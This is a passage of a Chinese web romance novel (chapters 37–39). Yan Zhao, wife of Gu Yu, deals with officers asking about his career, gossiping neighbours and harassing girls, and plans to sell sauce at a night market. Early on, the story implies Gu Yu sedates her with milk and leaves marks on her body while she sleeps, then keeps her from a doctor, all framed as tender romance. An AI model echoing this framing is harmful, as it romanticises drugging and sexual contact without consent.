屋里点了灯，光线一落下来，原本还算宽敞的空间忽然就变得有点逼仄，连空气都安静得过分。 言昭把包裹放在桌上，本能地想整理一下，手刚碰到绳结，就听见顾煜的声音从身后落下来。 “明天再弄。” 不是商量，是直接定下来的语气。 言昭“嗯”了一声，也没立刻转身。 她站在那儿，背脊不自觉绷着，余光已经注意到那张床。 白天那点温度像是还没散干净，她现在反而有点不太敢靠过去。 正犹豫着，身后已经有了动静。 顾煜走到床边，利落地把原来的床单掀下来，又重新换了一套新的。 言昭当然想去帮忙。 只不过顾煜已经把被子铺好，还在低头看她。 灯光落在他脸上，轮廓显得格外清晰，眼神沉得很，让人看不透。 “明早我要去学校。”他说，“早点睡吧。” 这句话说得很平常，可因为两人此刻的距离，显得格外暧昧。 言昭喉咙动了一下，想说点什么，又不知道该接哪一句。 她还在纠结要不要起身，顾煜不知道什么时候离开了一下，又很快回来，手里多了个杯子。 他把杯子递到她面前：“牛奶，喝这个，好睡觉。” 屋里只剩下一盏昏黄的小灯，杯子里的白色液体在光下显得很温和。 言昭没想到牛奶会出现在这，她一时间有点反应不过来。 顾煜说：“是需要我喂你吗？” 言昭连忙接过来。 杯子竟然是温的，不烫，刚刚好。 也不知道顾煜什么时候准备。 言昭低头喝了一口，奶香味立刻在口腔里散开，是她最喜欢的那种味道。 她没说话，只是把杯子捧在手里，一口一口地喝完。 顾煜一直看着，没有催，也没有别的动作。 等她喝完，顾煜伸手接过，顺手放到一旁桌上。 顾煜按住她的后背，把人直接带倒在床上。 被子随即被拉过来，严严实实地盖住她。 他低声说，“睡觉吧。” 言昭僵了一瞬，最后还是老老实实躺好，手规规矩矩地放在身侧，不敢再有多余的动作。 她本来睁着眼睛，还没一会，眼皮子就开始打架。 看来今天自己是真的累到了。 第37章 言昭一身痕迹 第二天醒来的时候，言昭第一反应就是不对劲。 脑袋发沉，像是没睡够，又像是睡过头，整个人都有点发虚。 她撑着床坐起身，动作刚一大，前胸就传来一阵不太舒服的感觉，不是疼，是那种隐隐的胀感，让人下意识皱眉。 言昭低头看了一眼，又觉得不太对。 她抬起手，目光落在手腕上，那里有一圈淡淡的痕迹，不明显，可确实存在。 她盯着看了好一会儿，脑子越看越晕。 索性又躺了回去。 屋里很安静，窗外的光已经亮起来了，她闭着眼缓了很久，等那阵晕劲慢慢退下去，才重新坐起身，下床。 床的另一侧早就空了。 顾煜不在。 他昨晚说过要去学校，所以是走得很早。 言昭慢吞吞地走到门口洗漱，冷水扑到脸上，人终于清醒了点。 一抬头，就看见院子里有人。 王婶子和李婶子正站在一块儿说话，见她出来，眼睛一亮，连忙招呼：“哎哟，小昭你回来了呀？” 语气热络得很。 言昭点点头，应了一声，脸上还带着点没完全散干净的倦意。 院子里一下子热闹起来。 王婶子、李婶子你一句我一句，问她这次回去顺不顺利，家里人身体怎么样，路上累不累。 言昭一边洗着手，一边笑着应，说还好，都挺顺的，也没出什么事。 王婶子听着，点了点头，又压低了点声音：“我跟你说啊，院子里有些人，总爱瞎传，说你们小两口感情不好。” 言昭下意识抬头。 王婶子笑了一声，目光却没落在她脸上，而是意味不明地往她颈侧扫了一眼，慢悠悠地补了一句：“我瞧着倒不是这么回事。” 那眼神看得言昭有点莫名。 她没太明白对方话里的意思，只觉得被这么一看，耳根莫名有点热。 言昭低头笑了一下，带着点不自觉的害羞：“哪有的事。” 声音轻轻的，像是被戳中了什么，又不好意思多说。 王婶子和李婶子对视了一眼，都笑了起来，没有再往下追问。 言昭正想顺着王婶子的话再问一句，院子门口忽然有了动静。 她下意识抬头，就看见门口站着两个人。 一男一女，身形笔挺，穿着整齐的军装，站在那儿往院子里看，目光很快就落到了她身上。 下一秒，两人的神色明显亮了一下。 然后他们直接朝她这边走了过来。 言昭现在对穿军装的本来就有点天然的好感，更别说上一次顾煜出事，被带走调查，最后能这么快回来，少不了他们的帮忙。 那名女军官先开口，语气干脆利落，又带着温和：“请问，您是顾煜同志的爱人，言昭同志吗？” 言昭连忙点头：“是我。” 男军官也跟着笑了下：“总算见到你了。” 院子里一下子安静下来。 王婶子和李婶子都不说话了，目光在言昭和那身军装之间来回转，显然有点意外。 言昭站直了身子，态度也变得认真起来：“是有什么事吗？” 两人对视了一眼，女军官点点头：“有点情况，想跟你单独聊聊，方便吗？” 言昭没有犹豫，点头说方便。 来到房内。 男女军官，报了自己的姓名和职务。 一串称呼说下来，又长又正式，言昭只听懂了个大概，只觉得听起来很厉害。 两个人说完，都没有立刻进入正题，而是不动声色地往客厅里扫了一圈。 像是在确认环境。 言昭被他们这一打量弄得心口微微发紧，下意识站得更直了些，脑子里已经开始乱猜，是不是顾煜又出了什么事。 结果出乎她意料的，女军官并没有问顾煜，也没有提任何调查相关的内容。 她语气反而放缓了些，像是闲聊一样问：“言昭同志在京市这段时间，有没有什么不方便的地方呀？” 男军官也接了一句：“生活上、出行上，或者邻里方面，有需要帮忙的，都可以提。” 这话一出，言昭明显愣了一下。 她还以为会直接说事，没想到先问的是这个。 言昭连忙摇头，语气很快：“没有没有，都挺好的，真的不用麻烦。” 两名军官对视了一眼，像是在确认什么。 女军官语气依旧温和，笑着说：“我们之前一直以为，顾煜同志这边经济上比较紧，因为他总是在做能快速赚钱的研发……” 这位女军官说了一堆后，男军官也跟着来了一句：“如果真有什么难处，其实是可以跟我们说的，不用一个人扛着。” 言昭现在听明白了，也知道这两人是干嘛过来的。 原来是国家这边有一个项目，希望顾煜同志能参与，可被顾煜拒绝了，反而转去做了别的工作—— 说是回报快、见效快、能尽快赚钱的事情。 所以国家单位的人才会亲自过来看看，是不是家里有什么实际困难，是不是生活上有什么难处，才让他不得不这样选择。 言昭开始把很多零散的细节串到了一起。 上次顾煜问她的那个选择，她当时并没有多想，也没多问。 现在她才知道顾煜之所以会很快拿回了一千块，还有那五十块钱的补贴，是选了另一条路。 言昭在想。 是不是因为她？ 所以他才会做出这样的选择？ 那上辈子呢？ 上辈子的顾煜，是不是也是这样，在她不知道的时候，一次又一次地偏离原本的轨迹，为了她去猛猛赚钱？ 言昭很快把那点翻涌的情绪压了下去。 她并不觉得顾煜的选择有什么不对。 能赚钱，本来就没错。 只是她不愿意看到，他是因为她，才不得不这样选。 言昭抬起头，脸上露出一点笑意。 “家里刚开始确实有些难处，这房子也是拼了命才买下来的。正是因为那笔钱到位了，有了房子，我和顾煜的户口，才能顺利从京大转到京市来。” 这些话，没有夸张，也没有卖惨，只是把现实摆出来。 她说到这里，语气轻松了些，甚至带着点笑意反问了一句：“难道赚钱不好吗？” 两名军官显然都没料到她会这么说。 一般人只要沾上“国家项目”这几个字，多少都会下意识地看重，甚至把它当成必须抓住的机会，很少有人会像她这样，把赚钱说得这么直白。 两人愕然了一瞬。 很快，女军官先笑了起来，语气比刚才轻松了不少：“赚钱当然好呀。” 男军官也跟着点头，顺着把话接了过去：“国家这边其实也能赚到钱的，只是周期会长一点，不是立刻见效。” 他跟着又澄清了一句：“不过该给的都会给，不存在拖着不算数的情况，更不是骗人的。” 言昭听完他们的话，想了想，还是开口了。 “这件事，我会跟顾煜好好说说的。只不过，这种事我也不能替他做决定，最后还是要看他自己怎么选。” 两名军官几乎是同时点了头。 男军官说得很快：“这个是当然的。” 女军官也跟着应了一声，神色比刚才更郑重了一些：“我们也只是把情况说明白，选择权一直都在他手里。” 她说着，从口袋里拿出一张折得很整齐的小纸条，递了过来。 “这是我们的联系方式，你们生活上遇到什么困难，可以随时联系。” 言昭接过纸条，看了一眼，点头应下。 中午的时候，顾煜提着饭盒回来了。 他一进门，就看见言昭坐在门口的小凳子上，背脊挺着，手却放在膝盖上没动，明显在走神。 那副模样，一看就有心事。 王婶子先看见他，轻轻咳了一声。 言昭这才回过神，抬起头，一眼对上顾煜，愣了一下，立刻站起身来。 “你回来啦。” 顾煜对院子里的几位婶子点了点头，算是打过招呼。 他伸手拉住言昭的手腕，把人往屋里带。 门一关上，外面的声音跟视频就被隔绝了。 顾煜把饭盒放到桌上，就看到桌上那张折着的小纸条上。 他伸手拿起来，问道：“有人来过了？” 言昭点了点头，“两个人，穿军装的。他们说，如果我们这边有困难，可以找他们” 顾煜眉头几不可察地收紧了一点。 他没有继续追问那张纸条的事，随手扔到旁边去，转而把饭盒一一打开。 言昭看着那些菜，还是没忍住，小声说了一句：“你其实可以在学校吃完再给我送的。” 顾煜抬眼看她：“你在嫌弃我？” “不是啊。”言昭下意识解释，“我是怕你饿，也怕你送过来都冷了。” 她说得很认真，甚至还有点着急。 顾煜看着她这副傻傻的样子，目光慢慢从她脸上移开，落到她颈侧。 那里有几处被衣领半遮着的痕迹。 他的唇角轻轻勾了一下。 “我一个人在食堂，不想吃。”他说得很随意，“两个人一起吃，才有胃口。” 言昭想了想，觉得这话也没错。 她吃到一半，忽然说：“我今天要去一趟，想找一下医生。” 话音刚落，顾煜几乎是条件反射地放下筷子，伸手抓住她的手腕，眉头也跟着拧紧。 “你身体不舒服？” 言昭被他这反应弄得心口一跳。 她没想到他会这么急，手腕被他握着，脉搏一下一下撞在他掌心里，跳得她自己都能感觉到。 “不是不是。”她连忙解释，“我好像是被虫子咬了，有点过敏，想让医生看看。” 言昭其实也不太想去找医生。 不是这些痕迹越来越多，她不会提这一句。 在老家的时候还不明显，回来之后却一处接一处地冒出来，现在已经连成了一片，尤其是胸口那一块，隐隐发胀，又有点痒。 她是真怕再拖下去，会不会溃掉。 顾煜听见这话，他直接抬手，指尖落在她颈侧，轻轻勾开了一点衣领。 “是这些？”他问。 言昭脸颊一下子热起来，还是点了点头。 “嗯。” 顾煜的目光落在那几处痕迹上，指腹跟着按了上去，没有用力，只是轻轻摩擦了一下。 那一下触感太清晰了。 言昭下意识绷住了肩。 顾煜语气反而放松下来：“没事，不用去看医生。” 言昭下意识问：“为什么？” 他应该不是怕自己花钱的人。 顾煜看着她，指尖还残留着刚才的温度，语气很平：“这不是虫咬，也不是过敏。不会溃，也不会留疤。” 言昭张了张嘴，还想再问，顾煜已经把她的衣领整理好。 “吃完饭再说。”他说。 中午这顿饭很丰盛。 红烧肉炖得很透，颜色油亮，用筷子一夹就散，入口几乎不用嚼，化开的时候还带着一点甜。 言昭吃得有点停不下来。 等她反应过来，碗里已经见了底。 顾煜顺手把她的碗拿走，又给自己添了一点。 这一次，言昭没再下意识去抢。 她靠在椅背上，轻轻呼了口气，只觉得胃里暖得很，整个人都松下来。 她意识到一件事—— 自己好像真的被他养得很好。 这种念头一出来，她心里又跟着一顿。 言昭还是打算国家那两个人的事情是怎么想的。 哪知道这时顾煜拿了一个小盒子过来。 他把盖子拧开，放在桌上。 “这个芦荟做的，不刺激，涂了会很清凉，对你身上痕迹管用的。” 他说着就把药膏弄了一点在指腹上，然后看着她。 言昭看着他这个举动，一时没反应过来。 她的视线落在他指腹那点透明的药膏上，又慢慢移回他脸上。 顾煜没动。 就这么看着她，像是在等什么。 言昭心里“咯噔”了一下，忽然意识到不对劲。 不会吧？ 她眨了下眼，再眨一下。 他该不会是想给自己涂吧？ 这个念头一冒出来，脸颊瞬间就烧了起来，连耳根都开始发热。 “我、我自己来就好。” 她说着就伸手要去拿那盒药膏。 哪知道言昭指尖刚碰到盒子边缘，还没来得及抓稳，手腕就被人扣住了。 顾煜低头看着她，再凑到她的耳边，热气缠着她的耳尖：“你看得见？” 言昭僵了一下，下意识反驳：“我当然——” 话说到一半，又卡住了。 有些地方她确实不太好自己涂。 言昭抿了下唇，脸更红了，还是不死心地想把手抽回来：“那我自己慢慢来。” 第38章 你还不如生个孩子 顾煜脸上慢慢浮出一个笑容。 是个很温柔的笑容，像水一样缓缓铺开。 他那双好看的眼睛现在亮得过分，仿佛有细碎的光在里面晃动。 言昭被他这样看着，心口莫名发软。 那点本来就没压住的羞意一下子全涌了上来，脸颊热得发烫，连视线都不太敢对上去。 也就没注意到—— 顾煜捏着罐子的手，指骨绷得很紧，关节泛出明显的白色。 那不是放松的状态。 而是一种极力克制下的用力。 顾煜低声说了一句：“我下午很忙，有很多事情。你先把外面这层衣服脱下来。” 言昭这才意识到他是来真的。 这时顾煜脸上的笑意反而更深了。 那笑容温柔得过分，言昭被这笑容晃了一下神，心口发紧，视线一时没能移开。 等她反应过来时，已经慢了一步。 顾煜的指尖落在她衣襟前，动作不急不缓，解开了两颗纽扣。 言昭的衣料跟着松开，露出里面的内衬，还有一片被遮掩着的、带着痕迹的皮肤。 她只能僵在原地，脸颊发烫。 一会过去。 言昭清楚地感觉到皮肤上传来的温热，还有那种顺着神经一点点蔓延开的酥麻感。 此刻她的脸已经红得不成样子，呼吸乱了节奏，身体不受控制地微微发颤，连站姿都有点不稳。 这一刻，言昭好想躺下。 哪怕只是坐着，也比现在这样要好。 可顾煜没有说话。 他低着头，神色却出奇地认真，眉眼间没有半点轻佻，反而像是在专心处理一件很重要的事。 那种专注，让人根本不好意思打断。 言昭张了张嘴，又把话咽了回去。 更何况顾煜这样的人，平时忙的都是正经事，是那种“干大事”的人。 对她这种看起来不值一提的小状况，他却这么上心、这么仔细。 让人忍不住受宠若惊的那种。 言昭轻轻呼出一口气，心里想着再忍一忍就好。 可就在她稳住呼吸的一瞬间，视线不经意往下掠了一下。 那一刻，她忽然察觉到空气里的不对劲。 不是一个具体的画面，而是一种过于逼近的存在感，压得她心口一紧。 言昭几乎是条件反射地转过身，动作有点慌。 她抓起衣服往身上一套，扣子扣得又快又乱，指尖都在发热。 什么话都没来得及说，她就已经推门走了出去。 脚步很快，像是生怕慢一秒就会被什么追上。 房门合上，屋里一下子安静下来。 顾煜站在原地，微微眯起眼。 他低头看了一眼自己身上，喉结轻轻动了动，声音低得几乎只剩气息。 “……快忍到极限了。” 言昭正处在一个极其羞涩的状态里。 她埋着头坐在小板凳上，肩膀缩着，整个人几乎要把自己团起来。 就算她活了两辈子，对男女之间的事情还处于个空白阶段。 这时言昭听见身后的脚步声靠近，她心口猛地一跳，干脆把脑袋埋进膝盖里，埋得更严实了。 顾煜在她面前停下脚步。 他低头看着她这副模样，眼底的情绪慢慢缓下来，唇角反而勾起了一点笑意。 他蹲下身，和她的高度齐平，声音压得很低：“有这么害羞吗？” 话音落下的瞬间，言昭清楚地感觉到自己身体轻轻一颤。 那声音离得太近了。 近到她耳根发麻，连心跳都乱了节拍。 她没有抬头，只是小幅度地摇了一下，声音闷在腿间，轻得几乎听不清：“你……你离我远点。” 顾煜伸手揉她脑袋说：“纸条我拿走了，这件事我会看着办。晚上不用等我，吃饭去隔壁小饭馆，洗澡自己去大澡堂。” 他说到这里顿了一下，又低声补了一句，“还有，不要跟陌生男人讲话。” 等到耳边彻底没了动静，言昭才慢慢抬起头来。 院子里空了。 顾煜已经走了。 她这才长长松了口气，整个人从刚才那种紧绷到几乎要断掉的状态，一下子松懈下来，腿软得厉害，差点从小板凳上滑下去。 就在这时，有脚步声靠近。 言昭看见一个女生来到身边，年纪不大，穿着还算体面，正上下打量着她。 “你就是顾煜的对象吗？” 女生开口问。 言昭看了她一眼。 她现在脑子里乱成一团，实在没心思应付任何陌生人的问题。 于是，她什么也没说，站起身，转身回了屋。 门被轻轻带上，把院子里的声音一并隔绝在外。 那个女生站在原地愣了一下。 显然没想到自己会被这样无视。 女生脸色慢慢沉下来。 她咬了咬牙，低声骂了一句，语气里满是不甘：“不就一个乡下村姑，有什么好嘚瑟的！” 女生回到自己家里，推门进屋的时候，脸色还不太好看。 要是言昭在场，一眼就能认出来—— 就是当初烧被子的那一家。 女生把门一关，语气压着：“妈，顾煜真的跟她吵架了？” 屋里那位妇人正坐着择菜，点头说：“吵了，吵了好几次了，我都听见了。” 女生嘀咕：“还是要等顾煜在才行。” …… - 下午的时候，言昭已经把那些乱七八糟的情绪压下去了。 她坐在屋里，把装酱的罐子一个个理出来，心里只有一个念头——要赚钱。 必须赚钱。 这个酱要是卖不出去，她就得立刻换别的路子，总不能什么都指着顾煜。 可问题也很现实。 她不知道去哪卖。 想来想去，言昭还是出了门，找到了王婶子。 王婶子一听她是来问做生意的事，问道：“你还真打算卖啊？” “嗯。”言昭点头，“婶子，我想试试。” 王婶子叹了口气：“你家男人不是在学校干得挺好吗？你一个姑娘家，出去抛头露面地赚钱干什么。” 她往言昭肚子那儿扫了一眼，压低声音补了一句：“而且我不是说了，你现在最要紧的，是抓紧生一个。” 这话一出口，言昭手不自觉地收紧。 王婶子还在继续说：“有了孩子，男人心就稳了，你辛苦去赚钱，还不如在家带孩子。” 言昭沉默了。 王婶子见她半天没接话，皱了皱眉，又忍不住开口了。 “我说句不好听的，你是不是有点没搞清楚现在的情况？这儿可是京市，不是乡下。你男人长得好，学历也好，还会赚钱，这种男人放在哪儿都抢手得很。” 言昭听着，没立刻反驳，她只是微微侧过头，看向院子另一边。 这个反应反倒把王婶子看愣了。 王婶子盯着她看了两眼，语气一下子变了，“你们……不会还没领结婚证吧？” 她显然是越想越不放心，“你别怪我多嘴啊，你婶子我见得多了。有些男的最会钻这个空子，乡下一个，城里一个，骗得姑娘团团转。” 言昭听完解释：“婶子，我们领证了。” 其实领得挺早的，当时顾母不放心自己，怕她跑了，也就花了钱、托了关系，把手续全都办齐的。 言昭其实也说不清，自己对顾煜什么感觉。 有时候看到他那张脸，她是真的有点扛不住。 站着不说话都好看，低头做事的时候更是让人移不开眼，那种冲击力很直接，根本不给人反应的余地。 可也正因为这样，她反而更清醒。 她已经不想再喜欢上一个人。 那种把所有期待、依赖、情绪都压在一个人身上的事，太痛苦了。 经历一次就够，再来一次，她未必扛得住。 更何况，顾煜还这么年轻。 年轻的人很容易冲动，现在对她上心，可能是身边就她一个女人，也不代表以后也只有她一个。 言昭在顾城身上吃到了太多的经验。 所以生孩子这件事，她真的没想过。 王婶子看她不上心的样子，叹口气说：“等李家的回来，她家在市场承包了一个摊子。” “谢谢婶子！我今晚问问！” …… 下午的时候，院子里陆陆续续来了几个女生，其中一个正是中午跟她说话的那个女生，几个人凑在一起坐在院子另一边。 她们说话声音不大，却刻意压着，目光却一点都不收敛，时不时往言昭这边扫过来。 那种看人的眼神，让人很不舒服。 看一眼，凑过去嘀咕几句，再看一眼，又低头说话，像是在反复确认什么。 言昭本来还能当没看见，可次数多了，她还是起身进了屋，把门关上，把那些目光隔在外头。 这群人，多半是冲着顾煜。 言昭更觉得自己之前想的是对的。 顾煜这种人，本来就该站在更亮的地方，配得上更好的人。要是真有谁能顶替她的位置，她其实是可以退开的。 她不想在这件事上反复纠结。 想得太多，只会让自己难受。 所以，她很快把注意力收回来，等李家婶子回来，就直接上前问起了摆摊的事。 李家婶子听完，倒是爽快得很，摆摆手：“你这点东西，到时直接就放我摊位就行。” 言昭神色惊喜，她连忙说：“行，我给你钱。” 李家婶子被她这反应逗笑了，叹了口气：“大妹子，你要给钱，也得等你的酱卖出去再给，你现在还没开始卖呢。” 李婶子之所以让言昭的酱放在自己摊位上，也是觉得酱这东西，说稀罕也不算稀罕，家家户户多少都会做一点。 她虽然承认言昭做的味道确实好，可要说能不能卖得动，还是有点难。 言昭摇头：“婶子，钱我还是要给的。要是不收钱，那你就拿酱去。我不能白占你这么大的便宜。” 李婶子听了，笑了起来，点点头：“行行行，你这丫头。那你再给我点酱吧。有你这个酱，我晚上下班回来，煮个面条就能吃一顿像样的。” 言昭这才松了口气，也跟着笑了。 “那我多给婶子装点。” …… 言昭回来后，正低头拌着酱，门忽然被敲响了。 她还以为是哪个婶子过来串门，擦了擦手就去开门。 门一拉开，她眉头就蹙了起来。 站在外面的，正是下午在院子里晃来晃去的那几个女生，一个都没走，全凑在这儿。 几个人的目光几乎是同时落到她身上，从头到脚打量了一遍，毫不遮掩。 言昭心里那点耐心瞬间就没了。 “你们有什么事吗？” 其中一个女生往里探了探头，像是在确认什么，开口问道：“这里是顾煜的家吗？” 另一个立刻接上：“你是顾煜的谁？” 言昭注意到她们还想往屋里看，脸色沉了一点，直接往前走了一步，把门带上。 “砰”一声，门在她身后合上。 她站在门外，挡得严严实实，语气也冷了下来：“你们到底是谁？” 那几个女生嬉嬉笑笑，说：“我们是顾煜的同学，听说他在这，就想过来看看。” 言昭看着眼前这几个人，衣着打扮先不说，光是站姿、说话时那点藏不住的浮躁劲，更别说那种四处张望、恨不得把人家屋里翻一遍的眼神。 就不像是京大的学生。 她连客套都懒得给：“京大的学生会站在别人家门口探头探脑？真是同学，来之前会提前打招呼？” “你们肯定不是京大的学生。” 这几个人被说得有点挂不住，互相对视了一眼，有人干笑了一声：“你这人怎么这么凶啊。” 言昭看着她们，语气彻底冷下来：“是你们骗人在先，为什么要说我凶？还有，这里是我家门口，你们能不能离开？” 那几个女生被她这话噎了一下，脸色都有点不好看，张了张嘴还想再说什么。 就在这时，王婶子听见动静走了出来，一抬眼就看见几个人堵在门口，眉头立刻皱了起来。 “宁雅，你们堵在小昭家门口干嘛呢？” 被点名的女生神色一僵，随即挤出个笑来：“没、没干嘛，就是带着同学随便看看。” 言昭直接接过话，语气不高，却稳得很：“王婶子，她们说自己是京大的学生，还想进我家看看。我正打算去警察局问问，这几个人是不是小偷。” 话音一落，那几个女生的脸色瞬间变了。 刚才的嬉笑全没了，只剩下藏不住的难看和心虚。 第39章 你怎么在这儿？ 那几个人一下子慌了。 “我们不是小偷，真不是……” 有人急着解释，声音都变了调。 宁雅也连忙往前一步，语气明显软下来：“王婶子，你也认识我的，我就住在这儿，怎么可能是小偷啊。” 王婶子可不敢给她们打包票，就问了一句：“那你们刚才为啥子说自己是京大的学生？” 这句话一落，院子里顿时安静下来。 宁雅脸色一阵青一阵白，张了张嘴，一时没接上话。 旁边那几个女生也不吭声了，刚才的气势全没了，只剩下站在原地的局促。 有些话，一旦被当面戳穿，就再也圆不回去了。 言昭可不是什么好脾气的人。 见她们一个个哑了火，她心里那点压着的火也懒得再忍了，语气一下子冲了起来。 “我说你们也真有意思，跑到别人家门口探头探脑，还张口就骗人，说自己是京大的学生，怎么，京大是你们家开的？说进就进？” “再有下次，我不光找警察，我还真就把你们名字记下来，然后去你们学校高喊你们这天天盯着别人家不放。” 这话威胁得一点都不客气。 那几个女生明显被吓住了。 她们怎么也没想到，眼前这个看起来很好欺负的人，突然就气势很强了起来。 宁雅脸色涨得通红，想反驳，又被言昭的气势压得一句话都说不出来。 旁边几个女生更是低着头，脚步悄悄往后挪，恨不得立刻消失。 王婶子在旁边点了点头，“行了行了，人家话说到这份上了，你们还站着干啥？不嫌丢人啊。” 那几个人这才如蒙大赦，灰溜溜地转身走了。 言昭站在门口，胸口起伏了一下，才慢慢吐出一口气。 王婶子叹了口气，说道：“都说你男人很受欢迎，这下你算是知道了吧。” 言昭站在门口，听见这话，唇角勉强扯了一下。 “谢谢婶子帮我。” 她轻声道了句谢。 没再多说什么，低下头，转身回了屋。 言昭简单吃了顿酱拌面条，把碗一收，提着篮子就去了大澡堂。 没想到遇到了白玲玲。 白玲玲很激动扑过来把她抱住。 “言昭姐姐，你也在呀！” 言昭没想到她会这么热情，一时间尴尬起来。 但也跟着露出亲和的笑容。 今天人比较多，这要是换成以前言昭肯定会害羞跟紧张离开，现在她找了个没人的角落下水。 白玲玲靠过来，看见言昭带来的肥皂，凑近闻了闻，眼睛一亮：“言昭姐姐，你这个肥皂闻起来好香啊，是百货大楼买的吗？” 言昭一愣，下意识摇头：“我也不知道。” 平时家里东西都是顾煜带回来的。 白玲玲看她这反应，立刻就明白过来，笑得有点促狭：“难道是言昭姐姐你那个对象买的呀？” 热气本来就蒸得言昭脸颊发红，被她这么一说，更是热了一层。 白玲玲倒是没在肥皂这个话题上纠缠，很快就换了个方向，语气轻快起来：“言昭姐姐，等会儿泡完澡，我请你吃点小吃吧。上次你走得太快了，我都没来得及好好谢谢你，心里一直过意不去。” 言昭下意识摇头：“真的不用，我就是顺手帮了一下。” 白玲玲立刻不乐意了，往她这边凑了点，声音软下来：“不行不行，一定要请。你要是不答应，我心里会一直惦记着的。” 她一边说，一边还轻轻晃了晃水，语气里全是小姑娘特有的撒娇意味。 言昭被她缠得没办法，只能叹了口气，答应了。 白玲玲这才高兴起来，笑得眼睛都弯了。 角落里的水声轻轻晃着，气氛一下子松快了不少。 …… 言昭来京市之后，除了跟顾煜一起出门，还真没单独出来逛过。 被白玲玲拉着拐进一条小巷子的时候，她还有点没反应过来。 在乡下，天色一黑，外头基本就没人了。 家家户户为了省蜡烛，早早关门上炕，夜里安静得只剩下虫叫。 可这里不一样。 摊位前围着人，有说有笑，灯泡晃着光，照得每个人脸上都亮亮的。 锅里的油翻滚着，香味一阵一阵往外冒，勾得人不自觉地停下脚步。 她第一次发现，原来晚上还能这么热闹。 热闹到让人有点不知所措。 白玲玲明显很熟，一边走一边跟她介绍：“言昭姐姐，这里是小吃街，京市最热闹的地方了，附近好几所大学的学生都爱来这儿吃。” 言昭听到这里，她忍不住放慢脚步，目光在那些摊位上转了一圈，小声问：“这里……谁都可以过来摆摊吗？” 白玲玲愣了一下，摇头：“这个我也不太清楚。言昭姐姐，你也想摆摊吗？” 被点破心思，言昭有点不好意思，还是点了点头：“嗯，想试试。” 白玲玲笑起来：“那等会儿我帮你问问我哥！我哥就在这边摆摊，对这些应该清楚。” 言昭低头摸了摸口袋。 她洗澡只带了一块钱，在这种小吃街，肯定不算多，可要是现在回去，又有点远。 她心里转了一圈，下意识想到了顾煜—— 这里离京大很近，要是去找他的话…… 可这个念头刚冒出来，白天的画面就跟着浮上来。 她脸颊一下子热了，脚步也慢了下来。 还是算了。 现在去找他，她自己都觉得不太自在。 好在小吃街的东西并不贵，一块钱也能吃上两三样。 言昭心里盘算了一下，决定就随便吃一点，意思到了就好，等会儿早点回去。 她正这么想着，白玲玲已经兴冲冲地拉着她往前走：“言昭姐姐，这家炸串很好吃！还有那边的糖糕，也便宜。” 言昭没想到，会在这儿又碰见她们。 就在炸串摊前，那几个女生也站在不远处，显然刚点完东西，一抬眼就看见了她。 几个人的表情同时僵了一下，脸色都有点不自然。 言昭当没看见。 她侧过头，认真听白玲玲兴致勃勃地介绍：“这家炸串真的特别好吃，外脆里嫩，蘸料也香，我哥以前老给我买——” 话还没说完，旁边忽然传来一阵刻意压低、却又刚好能让人听见的声音。 “我今天看见京大男神了。” 那语气，明显是说给人听的。 “陪着百货大楼的千金在逛街呢，拎的袋子全是那种一看就很贵的。” 这话一出，立刻有人接腔。 “真的假的？” “真的啊，我亲眼看见的。” 那女生笑了一声，语气意味不明，“听说刘曼青最近都不见人影了，估计也是知道自己没戏了吧。” “那当然，人家什么出身，她什么出身。” 几个人低低笑起来。 声音不大，可字字都往人耳朵里钻。 言昭的动作没有半点停顿。 她接过炸串，低头就咬了一口。 炸串外皮炸得酥脆，里面还嫩着，最关键的是——也要蘸酱。 她又多看了两眼那碟蘸料。 酱香很重，但是不呛，还带着点甜味。 原来京市的人，也爱吃酱。 她想着自己的酱应该也能卖。 白玲玲见她吃得认真，松了口气，也跟着咬了一口，含糊不清地说：“言昭姐姐，好吃吧？” 言昭点了点头，顺手去掏钱：“这顿我来。” 话音还没落，钱就被人挡了回去。 摊主笑呵呵地摆手：“小姑娘已经给过了。” 言昭一愣，转头看向白玲玲。 白玲玲笑嘻嘻解释：“说好了我请的。” 之后两个人又逛了一圈。 言昭尝了不少老北京的特色小吃，边走边看，眼睛都有点不够用。 路过一家烤鸭摊的时候，她脚步明显慢了一下。 一整只烤鸭挂在那儿，油光发亮，香味直往鼻子里钻。 她忍不住问了句价钱。 摊主笑着比了个数：“十块。” 这价格一出来，两个人同时沉默了一下，又很有默契地对视了一眼。 太贵了。 再香也只能看看。 两个人都没说什么，默默往前走了。 后面又吃了糖糕、炸面筋，还有一碗热乎乎的豆汁配焦圈。 等吃完，两个人前前后后加起来，一共花了三块。 白玲玲看着言昭忽然又安静下来，忍不住问了一句：“言昭姐姐，怎么了？是不是吃得不高兴？” 言昭回过神来，摇了摇头：“没有，很好吃。” 她停了一下，又像是突然想起什么，语气有点急：“我好像忘记收衣服了，得快点回家才行。” 白玲玲啊了一声：“不去我哥哥那吗？” 言昭这才想起来摆摊的事。 她笑了一下，点头改口：“去，先去你哥哥那儿。” 白玲玲一听，立刻高兴起来，伸手抱住她的胳膊：“那就好，我还怕你急着回家。” 两个人又往前走了一段，小吃街越往里越热闹，灯光也更亮。 走到最前面的时候，白玲玲抬手指了一下：“喏，就在那儿。” 言昭顺着她指的方向看过去。 摊位不大，却收拾得很整齐，灯泡挂得低低的，照得台面一片明亮。 摊前站着一个男人，身形挺拔，穿着简单的衣服，袖子挽到手肘，正低头忙着。 寸头，侧脸线条利落。 正是白策。 他像是察觉到视线，抬头看了一眼。 目光一顿。 随后认出了人。 “玲玲？”他语气里带着点意外，“你怎么跑这儿来了？” 白玲玲立刻松开言昭，几步跑过去：“哥，我跟言昭姐姐一起来的。” 白策这才把视线转向言昭，神情明显缓了一下，点头招呼：“你好，上次真的谢谢你救了我妹妹。” 夜市的灯光落在他脸上，比那天看起来要温和几分。 言昭摆了摆手，语气很干脆：“玲玲已经请我吃过小吃报答了，这件事就到这儿吧，以后别再提了。” 她说完，目光自然地落到白策的摊位上。 摊子不大，收拾得很整齐，玻璃罐里装着各色咸菜，切得细细的，颜色看着也干净。 只是这条街来来往往的人，多半是冲着现吃的小吃来的，炸的、烤的、热腾腾的，谁也不会停下来买点咸菜带走。 所以白策的生意并不算好。 偶尔有人过来问一句价钱，很快又被旁边的香味勾走了。 白策倒也不急，只低头慢慢拌着咸菜。 白玲玲凑过去，把言昭的想法一说，白策手上的动作顿了一下，抬头看她，明显有点意外。 “你也想摆摊？” 言昭点点头：“想卖点酱。” 白策听完，轻轻叹了口气：“那这条街不太合适。” 他往四周看了一眼，声音压低了些：“这边来的人，都是图现吃的。你这个要带回去吃，最好去菜市场卖。就是摊位要钱租，而且好位置不便宜。” 这话一落，言昭的神情明显黯了一下。 她其实早就想到这一层，只是被他说出来，心里还是空了一块。 想想也是。 